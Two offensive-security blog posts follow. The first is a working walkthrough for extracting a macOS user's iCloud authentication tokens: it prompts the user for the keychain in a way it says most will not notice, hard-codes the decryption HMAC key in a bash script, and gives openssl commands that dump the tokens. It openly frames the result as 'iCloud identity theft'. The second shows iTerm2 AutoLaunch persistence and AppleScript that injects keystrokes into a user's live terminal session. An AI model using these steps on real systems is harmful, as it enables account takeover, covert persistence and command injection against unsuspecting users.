iCloud Authentication Token acquisition on macOS

Written by noncetonic

Foreward

While this is by no means new or groundbreaking information I’ve been meaning to document a process known to the forensic and law enforcement community and provided as part of point-and-click toolkits available to the general public from companies such as Elcomsoft.

The aim of this post is to educate readers on the process by which Apple protects iCloud tokens and provide a procedure for manual acquisition of these tokens on modern versions of macOS.

Another motivator for posting this article is to make up for the fact that back in mid 2017 I had started writing an article on dumping this tokens without interacting with the Keychain or requiring the user’s password. The bug that allowed this has since been patched but is effective on early versions of 10.13 and prior.

I’ve provided a ready-to-go script addressing this specific vulnerability which can found on Github Gists.

Extraction on macOS

Extraction of iCloud Auth Tokens on macOS is a multi-step process and requires the iCloud Key stored in the targetted user’s keychain.

1.) Obtain the user’s iCloud Key 2.) Generating the decryption key 3.) Decrypting the mmeTokenKey file

Let’s get to it.

Note: If you’re looking for a quick and easy automated tool to accomplishes this same procedure, I’ve linked to the (at time of writing) most updated and feature rich fork of MMeTokenDecrypt by security-geeks as manwhoami appears to have deleted their github account and consequentially the original codebase.

Obtaining iCloud Key from keychain

As the iCloud Key is stored encrypted within a user’s keychain, extraction requires knowing the keychain password (almost always the same as a user’s login password), or alternatively, utilizing the SecurityFramework to prompt the user for access to the keychain via the security command.

We will opt for the latter in this article to illustrate a technique which can be applied a large array of use cases.

Obtaining iCloud Key using SecurityFramework

The following command will prompt the user to enter their password and returns the base64 encoded iCloud Key via STDOUT. Replace UID with the uid of the intended user.

Note: Getting the uid a user is easiest via the id -u [user] command. If no user is specified, the current user’s uid is returned.

launchctl asuser UID security find-generic-password -ws 'iCloud'

Note The user will be prompted for their password twice. This is the standard behavior of macOS and most users will not notice the different permissions being requested. The first prompt grants permission to access the key named iCloud within a user’s keychain while the second prompt grants permission to read the value of the iCloud key which has authorized access in the first prompt.

iCloudKey_keychainPrompt iCloudKey_keyPrompt

With the iCloud Key successfully obtained it is possible to generate the key used to decrypt the mmeTokenFile containing mmeAuthToken and other iCloud tokens.

Generating the decryption key

iCloud Auth Tokens are encrypted using an HMAC-MD5 composed of an undocumented 44 character string used as the HMAC key and the base64 decoded iCloud Key as the HMAC message. The psuedo-code for generating the decryption key and a working implementation in BASH leveraging only tools available on a default macOS installation follow. Yay for living off the land.

Note For the curious, /System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit contains the subroutine #KeychainAccountStorage _generateKeyFromData: which uses the HMAC Key provided above when generating the decryption key. HMAC Key: t9s"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}

psuedo.code
// This psuedocode demonstrates the process of generating the iCloud Auth Token decryption key
hex(hmac.new(key, message, digest(md5)))

BASH

#!/bin/bash -e
# gen_hmac-md5.sh
#
# Given a value for message, generates an HMAC-MD5 for mmeToken decryption
# HMAC key is hardcoded. Outputs the result in base64 and hex encoding
#
# n0ncetonic Copyright 2019 Blacksun Research Labs 
gen_hmac-md5() {
  message="$1"
  key="t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
  
  hmac_md5=""

  hmac_md5=$(echo -n "$message" |base64 --decode| openssl dgst -md5 -hex -hmac "$key")
  
  echo "base64: $(base64 <<< ${hmac_md5})"
  echo "   hex: $(echo -n ${hmac_md5}"
}

gen_hmac-md5 $1

Note The hex encoded decryption key is generally preferred for interoperability with other tools.

Decrypting mmeAuthKey

Now that a valid decryption key has been generated the iCloud Auth Tokens can be obtained from the encrypted binary plist file stored in the /Users/<USERNAME>/Library/Application Support/iCloud/Accounts/ directory. Files in this directory will either be symlinks with alphanumeric file names or standard files with filenames comprised of 9 digits. In the case of symlinks the email address tied to an iCloud DSID is disclosed as the filename, while the standard files disclose the DSID as the filename.

Note The DSID is used in place of a username when authenticating using iCloud tokens. Making note of the DSID is recommended in case it is needed later.

Decrypting this file is done with the openssl command and results in xml structured Property List output containing the iCloud Auth Tokens. Ensure you replace DSID in this command with the user’s actual DSID.

openssl enc -d -aes-128-cbc -iv 0000000000000000 -K Hex_Encoded_Decryption_Key < "/Users/USERNAME/Library/Application Support/iCloud/Accounts/DSID" | plutil -extract 'tokens' xml1 -o - -

Note For output which lends itself better to scripting, copy-pasting, and readability, the decrypt command above can be changed to the command below.

openssl enc -d -aes-128-cbc -iv 0000000000000000 -K a8f930a309a9188ca03877444ccaac6c < "/Users/user/Library/Application Support/iCloud/Accounts/8305714318 | plutil -extract 'tokens' xml1 -o - - |plutil -p -

Resulting in output similar to below

{
	"cloudKitToken" => "iOIQ4Yq3J9l2AICrGYJt5pwl+k/sQJ2+FolAJNZ9ci++clFWhc1wx4/OrxK8u2Bexob0ZUC8K83guTCpNZonFpl9qSFRfaXyQ/2ga1hlfMMtYoj5MSElq2O4L9D02JCBmbmnXns3AIJusWW8AdxLNoVPZUaZdxd1CngEW3AS/2YltFHvhbhIyUkknMtHLUj5uoNJw6vfFumI10~~"
	"mapsToken" => "KW5Izw7FnUm/tbA81aTi4OLaZOzI0EQPmrajqC3W8ayFyyFTlWMCiEBWd8SnxeXJfx2HtOm2yNdmR01UFRAub2SnzPwmz7i4fiWI4h5VFd1ewVZR33QGBJBTXJqilvcC5Lz9huS1Kqqv8DxZeyWTm4hAVzQ0sqyuQG/yFLwjZydOIBICEAXUqdGSEnCdcyvFjlSd0ZDmZTFc10~~"
	"mmeAuthToken" => "Cw7Dzec+TpidWj26lmHGnCnIOQJeK3GR63+XCNT9E8CNrdJkooOgw6wtwRhJwcWRgynVnuFUGr2dYfycgnFxj5FGVAjh/8Y8yhUSn6VlDZcC7Kj+UTfnKsX5aW5GUki2iOttBNalYtiZLuVSub1MnghMpHY+Xtl6fEXSFi5A8culgXPsVbQdF4SGCPTzP9PQj+1qgk4iezr710=="
	"mmeBTMMInfiniteToken" => "SDgbvkIEolIutlD4rwlnuAkzmaZbOCc7f4hVYXWRzCqOsvQSQ6D5Vorc+p7UE7t08+tK7T3FVzSTiofE5oidM0jJCW7NaFPgKEFOVjK4aK/2ctcEQ/y1nv0eQcee/XJeI/mK/YBgmTsbIZ74+OUL9mr4t/IrQJffEBTR0FPFhoMhxwcP/kMCtEfD8egN4SUTkT6K8flQGqnT10~~"
	"mmeFMFAppToken" => "k+qpMM9hOUnUoIeamVsq+RYyBWxL0OSKFECvsGBu+I3loe3Wvl6dl8UeLeMQc6NJgrGjrYvwd1RsdpDiRFYNNm2mAI15GMTII6HJlzk9N6Ufla6rFDAQ8Yj861SPH7d1JcMiTXMZ/vKNpJqSOp26FRAwudozBTICYfb3RkLOicKydXaY5PTX6iCRPi17OqKsMbY3FhbZJTYJ10~~"
	"mmeFMIPToken" => "Ha0+FmWTnkjckMixOlKhvwNohQ1H9+QkVBovAVyVpGXGWiypbcIMByozSTtSWzb2CFEfWY3X4JkWAE35PLrG8yFEX1qYAMLTeoxeumVblCK30tBCgXv2RmB+CbrTSCKWyF7IR48eJ69c0gWWvMnhsDXLNvEUFiW0t6g6ktcQW8n/mS+ObqRw2SCYqS+1ZjMJKkmTJvd7iPF310~~"
}

Closing

There you go; you’ve got a handful of tokens ready to be used with iCloud APIs like “FindMyFriends”, “FindMyiPhone”, “iPhotos” and more.

iCloud identity theft at the tips of your fingers means flattery has never been easier.

“Imitation is the sincerest form of flattery” Charles Caleb Colton


security-geeks/MMeTokenDecrypt


macOS Persistence via iTerm

Written by noncetonic

Foreword

macOS’s default Terminal.app is garbage, and everyone knows it; they also know iTerm is by and large the most popular terminal replacement for macOS. But did you know iTerm is also a fantastic way to persist on a macOS host?

I’ve been sitting on this for far too long and quite honestly I had completely forgotten I had never shared this fun little technique. So here it is.

Background

There are two directories which iTerm2 checks for AutoLaunch scripts during execution. These AutoLaunch scripts are intended to allow users to automate a number of start-up tasks via iTerm2’s AppleScript Scripting Definition. While this is the intention, iTerm2 will blindly execute whatever code is in the Autolaunch.scpt file regardless of whether or not the code bothers to interact with iTerm2.

Autolaunch.scpt locations:

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
    • This location is checked first and may not exist on your system
    • Go ahead and create the ~/Library/Application Support/iTerm2/Scripts/ directory if it doesn’t already exist.
    • If this directory doesn’t exist the next path is checked as a legacy fallback.
  • ~/Library/Application Support/iTerm/Scripts/AutoLaunch.scpt
    • !! DEPRECATION NOTICE !! This path is only being checked due to legacy reasons and should be considered deprecated. If you rely on this path to always be an option it may eventually come back to bite you.

Note: This only kicks off during application launch, spawning an extra tab in your terminal won’t do much and neither will spawning a new window.

PoC||GTFO

This one is pretty easy. Honestly it’s almost too easy which makes me wonder why I haven’t heard of other people using this technique.

BASHing buttons

Need to show this off to your security team and don’t want to invest a whole lot of time on a PoC? This one is for you.

#!/bin/bash
#
# bsrl_iTerm-00.sh
# Useless payload but it gets the point across
#
##############################################
say "iTerm, uTerm, we all Term for code exec"

Go ahead and toss that into ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt ( please make sure you name is AutoLaunch.scpt :3 ), unmute your speakers, and restart iTerm2.

What’s great is that this will run regardless of whether or not it has executable permissions set. Perfect.

Wait whut?

At first I was pretty excited having instantly assumed the file extension made no difference to iTerm. That would’ve been nice.

I honestly haven’t had enough spare fscks to dig into this in order to be certain but I tested with a simple python script to no avail.

When I sat back I realized the reason the bash script worked was due to the fact that say is part of the AppleScript language and all the other lines are comments…

Whoops!

Snakes on a plane

Not all is lost if you don’t want to write AppleScript though. Luckily AppleScript allows us to run shell commands which opens up a whole host of built-in languages for us.

(*
 * bsrl_iterm-01.scpt
 *
 * Downloads a random image from XKCD
 * and opens it with whichever app is
 * registered as its opener 
 * (Preview.app by default)
 *)
set theCommand to quoted form of "import urllib;urllib.urlretrieve(\"https://imgs.xkcd.com/comics/random_number.png\", \"/tmp/xkcd.png\")"
do shell script "/usr/local/bin/python " & "-c " & theCommand
do shell script "/usr/bin/open " & "/tmp/xkcd.png"

Kinda cool? Not really…

But wait; there’s more!

What if I told you that in addition to learning something fun about persistence, today you were also blessed with the gift of command execution within a real life shell :O. Just think of all the fun you could have with the ability to wait for a user to run sudo or ssh to a server and then inject your dirty bits right into their console.

This script will work as an AutoLaunch.scpt but it can also be run at any time to inject keystrokes into any window, any session, and any tab.

tell application "iTerm"
	tell current session of current window
		set thePath to quoted form of "/tmp/bsrl_iterm-02.txt"
		write text "echo " & "'yay RCE'" & " >> " & thePath
		write text "say we did it"
	end tell
end tell

Note On macOS 10.14, Mojave has locked down the otherwise wide open Apple Events system and now requires that applications be given express permission to send Apple Events to other applications. Because of this security enhancement it is currently not possible to inject commands into the context of iTerm without prompting the user for permission –unless they have previously allowed it.

The above technique will allow you a small window for injecting commands into iTerm. Ambitious readers can surely devise schemes which take advantage of this window for more nefarious deeds. If you wind up writing something and would like to share or discuss it, feel free to reach out to me via twitter @noncetonic

Closing

Welp that’s all for now folks. Have fun with the new toys in your arsenal.

Further Reading

For those of you who are interested in learning more about some of the topics I glossed over in this post I’ve included some links.

  • iTerm2’s Scripting Documentation : https://iterm2.com/documentation-scripting.html
  • Everyday AppleScriptObjC 3rd Edition : https://sites.fastspring.com/myriadcommunications/product/everydayasobjc
  • AppleScript Language Guide : https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html#//apple_ref/doc/uid/TP40000983-CH208-SW1